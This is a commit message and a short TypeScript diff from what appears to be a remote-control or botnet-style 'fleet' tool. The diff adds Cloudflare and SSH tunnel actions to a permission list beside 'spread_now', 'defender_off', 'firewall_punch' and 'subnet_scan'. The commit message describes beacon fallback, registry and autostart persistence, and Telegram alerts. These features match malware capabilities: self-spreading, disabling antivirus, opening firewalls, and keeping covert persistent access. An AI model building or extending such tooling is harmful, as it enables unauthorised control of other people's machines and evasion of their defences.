feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.

server/web/src/help/aggressiveActions.ts

@@ -7,6 +7,9 @@ export const AGGRESSIVE_REMOTE_ACTIONS = [
   'hole_punch_status',
   'spread_now',
   'start_tunnel',
+  'tunnel_cloudflared',
+  'tunnel_ssh_forward',
+  'tunnel_stop',
   'subnet_scan',
   'defender_off',
   'firewall_punch',
@@ -42,6 +45,9 @@ export function canRunAggressiveAction(
     case 'spread_now':
       return caps.auto_spread || caps.remote_aggressive;
     case 'start_tunnel':
+    case 'tunnel_cloudflared':
+    case 'tunnel_ssh_forward':
+    case 'tunnel_stop':
     case 'subnet_scan':
     case 'defender_off':
     case 'firewall_punch':